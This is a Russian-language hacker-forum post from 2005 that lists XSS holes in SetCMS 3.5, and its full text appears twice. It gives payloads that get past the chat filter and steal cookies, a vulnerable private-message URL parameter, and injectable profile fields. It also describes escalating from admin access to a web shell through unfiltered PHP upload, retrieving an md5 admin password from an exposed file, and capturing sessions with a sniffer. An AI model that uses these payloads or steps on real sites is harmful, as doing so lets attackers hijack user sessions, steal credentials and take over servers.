PinkPanther
11.08.2005, 00:57
Так как на днях вышло обновление до версии 3.6, выкладываю примитивнейшие дыры, которые были найдены в версии 3.5. Кстати цмс`ка сделана довольно классно, учитывая ещё то, что она не использует mysql. Итак...
1. Уязвимость в чате.
Фильтры стоят только на слова javascript, style, <script>, но....тем немение, фильтры можно обойти такой комбинацией: первое сообщение: ")</script 1> и сразу за ним, второе: <script 1>alert(document.cookie)(" . В итоге, получаем такой вот html код: <br><script 1> alert(document.cookie)("</font><br><font face=Verdana size=2><b><a href=mailto:admin@loca.ho>admin</a></b><br>")</script 1></font><br> Можно также осуществить вставку скрипта через картинку: <script src = "http://localhost/e107.js">
2. Уязвимость в форуме, гостевой книге, приватных сообщениях.
Тут всё тоже самое, только вставляем всё как и должно быть, по порядку: <script 1>alert(document.cookie)</script 1>
3. Уязвисость в профиле пользователя.
Уязвимые поля: * E-mail, * Город, Сайт. Эти поля подвержены супер пасивным уязвимостям,
т.е. код внедренный в эти поля будет действовать только в процессе редактирования
профиля, который может осуществлятся только 2 пользователями: владельцем аккаунта или
администратором. Есть ещё не суперпасивное поле О себе, но… Но вставить полноценный скрипт позволят только поля: * E-mail и Сайт, и хотя в поле Сайт и фильтруются слова http, двоеточие и слеш, обойти это уже не составит проблем, имхо. В остальных же полях, которые приведены мной только для общего развития, можно довольствоватся только локальным алертом.=(
4. Пассивные.
/setcms/index.php?set=pm&mc=send&to="><script>alert(document.cookie)</script (http://localhost/setcms/index.php?set=pm&mc=send&to=)>
5. Что делать когда ты админ.
А ничего, просто радоватся жизни...Админпанель-->Модули-->Файловый менеджер.....и полный экстаз,
загрузка .php файлов на серв разрешена и никак не фильтруется. Вот так вот, от XSS мы
добрались до веб шелла.
З.Ы. В более старых версиях, админский пасс можно вытащить простым: /setcms/fies/admin.txt (http://site/fies/admin.txt), где он находится зашифрованным md5.
З.З.Ы. Тут пасс возможно получить, только в том случае, если пользователь при авторизации поставил галочку «Запомнить меня». В противном же случае, мы будем хватать только сессию. Пароль приходит на сниффер в открытом виде.
1. Уязвимость в чате.
Фильтры стоят только на слова javascript, style, <script>, но....тем немение, фильтры можно обойти такой комбинацией: первое сообщение: ")</script 1> и сразу за ним, второе: <script 1>alert(document.cookie)(" . В итоге, получаем такой вот html код: <br><script 1> alert(document.cookie)("</font><br><font face=Verdana size=2><b><a href=mailto:admin@loca.ho>admin</a></b><br>")</script 1></font><br> Можно также осуществить вставку скрипта через картинку: <script src = "http://localhost/e107.js">
2. Уязвимость в форуме, гостевой книге, приватных сообщениях.
Тут всё тоже самое, только вставляем всё как и должно быть, по порядку: <script 1>alert(document.cookie)</script 1>
3. Уязвисость в профиле пользователя.
Уязвимые поля: * E-mail, * Город, Сайт. Эти поля подвержены супер пасивным уязвимостям,
т.е. код внедренный в эти поля будет действовать только в процессе редактирования
профиля, который может осуществлятся только 2 пользователями: владельцем аккаунта или
администратором. Есть ещё не суперпасивное поле О себе, но… Но вставить полноценный скрипт позволят только поля: * E-mail и Сайт, и хотя в поле Сайт и фильтруются слова http, двоеточие и слеш, обойти это уже не составит проблем, имхо. В остальных же полях, которые приведены мной только для общего развития, можно довольствоватся только локальным алертом.=(
4. Пассивные.
/setcms/index.php?set=pm&mc=send&to="><script>alert(document.cookie)</script (http://localhost/setcms/index.php?set=pm&mc=send&to=)>
5. Что делать когда ты админ.
А ничего, просто радоватся жизни...Админпанель-->Модули-->Файловый менеджер.....и полный экстаз,
загрузка .php файлов на серв разрешена и никак не фильтруется. Вот так вот, от XSS мы
добрались до веб шелла.
З.Ы. В более старых версиях, админский пасс можно вытащить простым: /setcms/fies/admin.txt (http://site/fies/admin.txt), где он находится зашифрованным md5.
З.З.Ы. Тут пасс возможно получить, только в том случае, если пользователь при авторизации поставил галочку «Запомнить меня». В противном же случае, мы будем хватать только сессию. Пароль приходит на сниффер в открытом виде.